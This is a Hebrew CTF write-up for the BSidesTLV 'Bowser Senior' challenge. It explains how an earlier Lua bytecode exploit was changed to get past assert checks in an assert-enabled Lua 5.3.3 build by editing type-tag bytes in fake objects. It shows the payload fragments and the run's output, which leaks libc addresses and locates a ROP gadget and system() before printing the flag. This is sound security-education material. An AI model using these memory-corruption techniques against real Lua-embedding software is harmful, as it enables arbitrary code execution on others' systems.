Bowser Senior

תיאור

Bowser Senior

פתרון

תרגיל זה דומה מאוד לתרגיל הקודם, עם שינוי "קל": הוא מקומפל עם asserts בכל הקוד וה-exploit הקודם שלנו (עבור Bowser Junior) נופל בהם.

ה-assert הראשון שנפל היה:

  lua_assert(cl->nupvalues == cl->p->sizeupvalues);

ב-Lua bytecode שייצרנו הייתה סתירה בין הערכים הללו. תיקון קטן וחסר השפעה עקף את ה-assert.

בחזרה לקוד:

      vmcase(OP_LOADK) {
        int xxb =  GETARG_Bx(i);
        bailout(xxb)
        TValue *rb = k + xxb;
        setobj2s(L, ra, rb);
        vmbreak;
      }

setobj2s הוא מאקרו שכחלק מפעולתו בודק שהאובייקט שנוצר מקיים את ה-assert הבא:

lua_longassert(!iscollectable(obj) || \
    (righttt(obj) && (L == NULL || !isdead(G(L),gcvalue(obj)))))

הקוד בודק שהערך הקבוע הוא לא collectable. זוכרים את ביט 6 של האובייקט? אם משנים אותו מ:

    local fake_table_data = string.pack('<LbbbbILLLLL', 0,   0x45, 0,     0,    0,        0x10,    addrof(memview) + 0x10, 0,   0,       0,        0)

ל:

    local fake_table_data = string.pack('<LbbbbILLLLL', 0,   0x05, 0,     0,    0,        0x10,    addrof(memview) + 0x10, 0,   0,       0,        0)

ה-assert עובר ומגיע עד שלב מתקדם (כתיבת ה-exploit ב-stack), בקוד:

const TValue *luaT_gettmbyobj (lua_State *L, const TValue *o, TMS event) {
  Table *mt;
  switch (ttnov(o)) {
    case LUA_TTABLE:
      mt = hvalue(o)->metatable;
      break;

#define hvalue(o) check_exp(ttistable(o), gco2t(val_(o).gc))
#define ttistable(o)    checktag((o), ctb(LUA_TTABLE))
#define ctb(t)      ((t) | BIT_ISCOLLECTABLE)
#define checktag(o,t)   (rttype(o) == (t))
#define rttype(o) ((o)->tt_)

הפעם מדובר במקרה הפוך מהקודם - כעת הטבלה צריכה להיות collectable ולכן נשנה את הקוד מ:

    content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x15) * 5)

ל:

    content = pack('=B', LUA_TLNGSTR) + dump_string(pack('=QQQQQQQ', 0x4141414141414141, 0x31337, 0x13, 0x4141414141414141, 0x14, 0x4242424242424242, 0x45) * 5)

נריץ, ונקבל את הדגל:

> cat "pwn.lua" | ncat bowserassert.challenges.bsidestlv.com 44444
Lua 5.3.3 Copyright (C) 1337-1994 now with asserts!(c) mitigations
> >> >> >> >> > > >> >> > > >> >> > > >> >> > > >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> > > > > > > > > > > > > > > > > > > > > > > > > > >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> > > >> >> >> >> >> >> >> >> >> > > >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >> >>
[*] Known table @ 0x555dd16136f0
[*] Data @ 0x555dd1613778
[*] Fake string @ 0x555dd1613788
[*] Fake table @ 0x555dd16137b0
[+] Fake objects created
Fake string: CDCD... (length: 0x7fffffffffffffff)
Fake table: 0x555dd16137b0
[*] Coroutine created: thread: 0x555dd1613f98
[*] Now executing coroutine. Associated state structure @ 0x555dd1613f98
[+] longjmp buffer @ 0x7ffc2779c7c0
x
[+] some_libc_address @ 0x7f39eef56bff
found candidate 0x7f39eeede000
[+] libc @ 0x7f39eeede000
[+] pop_rdi @ 0x7f39eeeff102
[+] system @ 0x7f39eef23390
[+] command @ 0x555dd16137f8
[*] ready to go!
BSidesTLV{Bowser_Just_Learned_To_use_Asserts}
close: No error